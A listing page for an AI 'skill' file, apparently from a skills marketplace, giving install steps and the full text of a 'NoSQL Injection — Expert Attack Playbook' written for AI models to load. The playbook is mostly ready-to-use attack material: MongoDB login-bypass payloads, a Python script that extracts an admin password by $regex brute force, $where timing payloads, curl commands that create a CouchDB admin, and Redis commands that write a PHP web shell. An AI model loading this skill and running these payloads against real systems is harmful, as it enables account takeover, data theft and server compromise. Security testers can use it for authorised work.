Nosql Injection logo

Nosql Injection

OrganizationPopular
yaklang
nosql-injection

NoSQL injection playbook. Use when MongoDB-style operators, JSON query objects, flexible search filters, or backend query DSLs may allow data or logic abuse.

Overview

Publisheryaklang
Repositoryhack-skills
Skill namenosql-injection
Stars
2.3K
Forks
314
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by yaklang on GitHub. Read the source before you install it.

Installation

Install the Nosql Injection AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/yaklang/hack-skills/tree/main/skills/nosql-injection
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/yaklang/hack-skills.git /tmp/hack-skills
mkdir -p .claude/skills
cp -r /tmp/hack-skills/skills/nosql-injection .claude/skills/nosql-injection
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Nosql Injection in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Nosql Injection on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Nosql Injection is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

SKILL: NoSQL Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.


1. CORE CONCEPT — OPERATOR INJECTION

SQL Injection breaks out of string literals.
NoSQL Injection injects query operators that change query logic.

MongoDB example — normal query:

javascript
db.users.find({username: "alice", password: "secret"})

Injection via JSON operator:

json
{
  "username": "admin",
  "password": {"$gt": ""}
}

→ Becomes: find({username:"admin", password:{$gt:""}}) → password > "" → always true!


2. MONGODB — LOGIN BYPASS

JSON Body Injection (API with JSON Content-Type)

json
POST /api/login
Content-Type: application/json

{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}

PHP $_POST Array Injection (URL-encoded form)

username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*

Ruby / Python params Array Injection

Same as PHP — use bracket notation to inject objects:

?username[%24ne]=invalid&password[%24ne]=invalid

%24 = URL-encoded $


3. MONGODB OPERATORS FOR INJECTION

OperatorMeaningUse Case
$nenot equal{"password": {"$ne": "x"}} → always matches
$gtgreater than{"password": {"$gt": ""}} → all non-empty passwords match
$gtegreater or equalSimilar to $gt
$ltless than{"password": {"$lt": "~"}} → all ASCII match
$regexregex match{"username": {"$regex": "adm.*"}}
$whereJS expressionMOST DANGEROUS — code execution
$existsfield exists{"admin": {"$exists": true}}
$inin array{"username": {"$in": ["admin","user"]}}

4. BLIND DATA EXTRACTION VIA $REGEX

Like binary search in SQLi, use $regex to extract field values character by character:

json
// Does admin's password start with 'a'?
{"username": "admin", "password": {"$regex": "^a"}}

// Does admin's password start with 'b'?
{"username": "admin", "password": {"$regex": "^b"}}

// Continue: narrow down each position
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}

Response difference: successful login vs failed login = boolean oracle.

Automate with NoSQLMap or custom script with binary search on character set.


5. MONGODB $WHERE INJECTION (JS EXECUTION)

$where evaluates JavaScript in MongoDB context.
Can only use current document's fields — not system access. But allows logic abuse:

json
{"$where": "this.username == 'admin' && this.password.length > 0"}

// Blind extraction via timing:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}

// Regex via JS:
{"$where": "this.username.match(/^adm/) && true"}

Limit: $where doesn't give OS command execution — server-side JS injection (not to be confused with command injection).


6. AGGREGATION PIPELINE INJECTION

When user-controlled data enters $match or $group stages:

javascript
// Vulnerable code:
db.collection.aggregate([
  {$match: {category: userInput}},  // userInput = {"$ne": null}
  ...
])

Inject operators to bypass:

json
// Input as object:
{"$ne": null}  → matches all categories
{"$regex": ".*"}  → matches all

7. HTTP PARAMETER POLLUTION FOR NOSQL

Some frameworks (Express.js, PHP) parse repeating parameters as arrays:

?filter=value1&filter=value2 → filter = ["value1", "value2"]

Use qs library parse behavior in Node.js:

?filter[$ne]=invalid
→ parsed as: filter = {$ne: "invalid"}
→ NoSQL operator injection

8. COUCHDB ATTACKS

HTTP Admin API (if exposed)

bash
# List databases:
curl http://target.com:5984/_all_dbs

# Read all documents in a DB:
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true

# Create admin account (if anonymous access allowed):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'

9. REDIS INJECTION

Redis exposed (6379) with no auth — command injection via input used in Redis queries:

# Via SSRF or direct injection:
SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVE

Auth bypass (older Redis with requirepass using simple password):

AUTH password
AUTH 123456
AUTH redis
AUTH admin

10. DETECTION PAYLOADS

Send these to any input processed by NoSQL backend:

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=

JSON variant test (change Content-Type to application/json if endpoint is form-based):

json
{"username": "admin", "password": {"$ne": ""}}

11. NOSQL VS SQL — KEY DIFFERENCES

AspectSQLiNoSQLi
LanguageSQL syntaxQuery operator objects
Injection vectorString concatenationObject/operator injection
Common signalQuote breaks response{$ne:x} changes response
Extraction methodUNION / error-based$regex character oracle
Auth bypass' OR 1=1--{"password":{"$ne":""}}
OS commandxp_cmdshell (MSSQL)Rare (need $where + CVE)
FingerprintDB-specific error messages"cannot use $" errors

12. TESTING CHECKLIST

□ Test login fields with: {"$ne": "invalid"} JSON body
□ Test URL-encoded forms: password[$ne]=invalid
□ Test $regex for blind enumeration of field values
□ Try $where with sleep() for time-based blind
□ Check 5984 port for CouchDB (unauthenticated admin)
□ Check 6379 port for Redis (unauthenticated)
□ Try Content-Type: application/json on form endpoints
□ Monitor for operator-related error messages ("BSON" "operator" "$not allowed")

13. BLIND NoSQL EXTRACTION AUTOMATION

$regex Character-by-Character Extraction (Python Template)

python
import requests
import string

url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""

while True:
    found = False
    for c in charset:
        payload = {
            "username": "admin",
            "password[$regex]": f"^{password}{c}.*"
        }
        r = requests.post(url, json=payload)
        if "success" in r.text or r.status_code == 302:
            password += c
            found = True
            print(f"Found: {password}")
            break
    if not found:
        break

print(f"Final password: {password}")

$regex via URL-encoded GET Parameters

username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*
# Iterate through charset until login succeeds

Duplicate Key Bypass

json
// When app checks one key but processes another:
{"id": "10", "id": "100"}
// JSON parsers typically use last occurrence
// Bypass: WAF validates id=10, app processes id=100

14. AGGREGATION PIPELINE INJECTION

When user input reaches MongoDB aggregation pipeline stages:

javascript
// If user controls $match stage:
db.collection.aggregate([
  { $match: { user: INPUT } }  // INPUT from user
])

// Injection: provide object instead of string
// INPUT = {"$gt": ""} → matches all documents

// $lookup for cross-collection data access:
// If $lookup stage is injectable:
{ $lookup: {
    from: "admin_users",       // attacker-chosen collection
    localField: "user_id",
    foreignField: "_id",
    as: "leaked"
}}

// $out to write results to new collection:
{ $out: "public_collection" }  // Write query results to accessible collection

$where JavaScript Execution

javascript
// $where allows arbitrary JavaScript (DANGEROUS):
db.users.find({ $where: "this.username == 'admin'" })

// If input reaches $where:
// Injection: ' || 1==1 || '
// Or: '; return true; var x='
// Time-based: '; sleep(5000); var x='
// Data exfil: '; if(this.password[0]=='a'){sleep(5000)}; var x='

Reference: Soroush Dalili — "MongoDB NoSQL Injection with Aggregation Pipelines" (2024)

Note: $where runs JavaScript on the server. Besides logic abuse and timing oracles, older MongoDB builds without a tight V8 sandbox historically raised RCE concerns; prefer treating any $where sink as high risk.

Frequently asked questions

What does the Nosql Injection AI skill do?

NoSQL injection playbook. Use when MongoDB-style operators, JSON query objects, flexible search filters, or backend query DSLs may allow data or logic abuse.

Why use Nosql Injection on TypingMind?

Because you install it once and use it with any model. Nosql Injection is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Nosql Injection in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/yaklang/hack-skills/tree/main/skills/nosql-injection. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Nosql Injection?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Nosql Injection?

As many as you like. As long as a model supports skills, you can use Nosql Injection with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Nosql Injection AI skill free?

Yes. It is published on GitHub by yaklang under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇